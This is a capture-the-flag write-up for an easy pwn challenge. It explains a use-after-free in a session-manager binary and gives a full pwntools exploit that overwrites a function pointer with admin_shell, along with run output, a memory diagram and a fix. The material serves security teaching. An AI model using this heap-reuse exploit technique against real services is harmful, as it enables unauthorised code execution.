Name
Name
Platform: grodno_new_year_2026 | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: dangling_pointer, function_pointer_overwrite, heap_reuse, use_after_free
Summary
Task: Binary session manager with create/delete/feedback/greet operations where delete frees memory without clearing the pointer. Solution: Exploited a classic Use-After-Free: created a session, freed it (dangling pointer), allocated feedback of the same size (reusing the chunk), overwrote the function pointer at offset 0x18 with admin_shell address, then triggered greet to call it.
Name — Grodno New Year 2026 CTF
Challenge Info
- Category: Pwn
- Difficulty: Easy
- Points: 481
- Task ID: 392
- Connection:
nc ctf.mf.grsu.by 9070 - Files:
name(binary),libc.so.6,ld-linux-x86-64.so.2
Description
Денис всегда говорил, что прощание — не повод забывать, как тебя зовут.
Denis always said that saying goodbye is not a reason to forget your name.
Analysis
Binary Overview
The binary is a "Secure Session Manager" with 4 menu options:
=== Secure Session Manager ===
1. Create Session
2. Delete Session (Logout)
3. Leave Feedback
4. Greet User
>
Key Functions (via disassembly)
| Function | Address | Description |
|---|---|---|
create_session | 0x4012e0 | Allocates 0x20 bytes, stores function pointer at offset 0x18 |
delete_session | 0x401362 | Frees memory but doesn't clear current_session pointer |
leave_feedback | 0x4013a4 | Allocates same size (0x20 bytes), writes user input |
greet_user | 0x40140d | Calls function pointer from current_session + 0x18 |
admin_shell | 0x401207 | Reads flag from FLAG_VAL env variable and prints it |
| |
Session Structure
c read-only • copy allowedstruct session { char name[24]; // offset 0x00 - user's name void (*greet_func)(); // offset 0x18 - function pointer };
When a session is created:
malloc(0x20)allocates 32 bytes- User's name is stored at offset 0
normal_greetfunction pointer is stored at offset 0x18
The Hint
Found in binary strings:
CTF{REAL_COMBAT_UAF}
Vulnerability
Classic Use-After-Free (UAF) vulnerability:
-
delete_sessioncallsfree()but does NOT setcurrent_session = NULL- This creates a dangling pointer
-
leave_feedbackallocates the same size (0x20 bytes)- Due to tcache/fastbin, malloc returns the same freed chunk
-
We can overwrite the function pointer at offset 0x18 with address of
admin_shell -
greet_usercalls*(current_session + 0x18)- Now calls
admin_shellinstead ofnormal_greet
- Now calls
Vulnerable Code Pattern
c read-only • copy allowed// delete_session - BUG: doesn't clear pointer void delete_session() { if (current_session) { free(current_session); // current_session = NULL; // MISSING! puts("Session deleted."); } } // leave_feedback - allocates same size void leave_feedback() { char *feedback = malloc(0x20); // Same size as session! read(0, feedback, 0x20); } // greet_user - uses dangling pointer void greet_user() { if (current_session) { current_session->greet_func(); // Calls overwritten pointer! } }
Solution
Exploit Strategy
1. Create session → malloc(0x20), func_ptr = normal_greet
2. Delete session → free(), but current_session still points to freed memory
3. Leave feedback → malloc(0x20) returns SAME chunk, we control content
4. Greet user → calls *(current_session + 0x18) → admin_shell!
Exploit Code
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * # Connect to target p = remote('ctf.mf.grsu.by', 9070) # p = process('./name') # For local testing # Address of admin_shell function (from disassembly) admin_shell = 0x401207 # Step 1: Create a session p.sendlineafter(b'> ', b'1') p.sendlineafter(b'name:', b'test') log.info("Created session") # Step 2: Delete session (free but pointer not cleared - dangling pointer!) p.sendlineafter(b'> ', b'2') log.info("Deleted session (dangling pointer created)") # Step 3: Leave feedback (reuses freed memory due to same malloc size) # Payload: 24 bytes padding + address of admin_shell at offset 0x18 payload = b'A' * 24 + p64(admin_shell) p.sendlineafter(b'> ', b'3') p.sendafter(b'feedback:', payload) log.info(f"Sent payload, overwrote function pointer with {hex(admin_shell)}") # Step 4: Greet user (calls admin_shell instead of normal_greet) p.sendlineafter(b'> ', b'4') log.info("Triggered UAF - calling admin_shell") # Receive flag print(p.recvall(timeout=2).decode())
Execution
bash read-only • copy allowed$ python3 solve.py [+] Opening connection to ctf.mf.grsu.by on port 9070: Done [*] Created session [*] Deleted session (dangling pointer created) [*] Sent payload, overwrote function pointer with 0x401207 [*] Triggered UAF - calling admin_shell [+] Receiving all data: Done grodno{REDACTED}
Memory Layout Visualization
Before delete_session:
┌─────────────────────────────────────┐
│ current_session → [allocated chunk] │
│ ├─ name[24] │
│ └─ func_ptr → normal_greet
└─────────────────────────────────────┘
After delete_session (BUG - dangling pointer):
┌─────────────────────────────────────┐
│ current_session → [freed chunk] │ ← Still points here!
│ (in tcache) │
└─────────────────────────────────────┘
After leave_feedback (UAF exploitation):
┌─────────────────────────────────────┐
│ current_session → [reallocated] │
│ ├─ "AAAA..."[24] │
│ └─ func_ptr → admin_shell ← Overwritten!
└─────────────────────────────────────┘
Prevention
c read-only • copy allowed// Proper delete_session implementation void delete_session() { if (current_session) { free(current_session); current_session = NULL; // Clear the pointer! puts("Session deleted."); } }
References
- Use After Free - OWASP
- Heap Exploitation - how2heap
- tcache poisoning